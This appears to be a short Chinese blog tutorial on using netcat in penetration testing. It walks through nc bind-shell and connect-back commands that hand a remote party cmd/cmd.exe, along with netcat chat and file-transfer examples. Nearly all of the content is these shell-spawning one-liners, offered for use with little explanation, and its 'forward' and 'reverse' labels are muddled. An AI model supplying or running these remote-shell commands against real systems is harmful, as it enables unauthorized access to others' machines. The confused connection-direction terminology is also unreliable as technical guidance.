nc连接获取shell
作者:互联网
1.渗透过程中免不了获取shell,可以通过nc工具连接,当然还有其他很多的工具,只不过nc默认安装在linux中,比较方便。
nc正向连接,防火墙不阻挡外来流量:
客户端:
nc -e cmd 192.168.0.18 4444 #主动连接客户端的4444端口
服务端:
nc -lvvp 4444 #监听4444端口
nc反向连接,防火墙阻挡外部流量:
服务端:
nc -l -p 4444 -t -e cmd.exe #-t通过telnet模式执行,可以省略
客户端:
nc -nvv 192.168.0.18 4444
nc通信:
服务端:
nc -lvvp 4444
客户端:
nc 192.168.0.16 4444
nc传输文件:
服务端:
nc -l -p 4444 > test
客户端:
nc 192.168.0.16 4444 < 1.txt
两种客户端必须同为一种操作系统
标签:shell,nc,192.168,4444,连接,服务端,客户端 来源: https://blog.csdn.net/lionwerson/article/details/121815815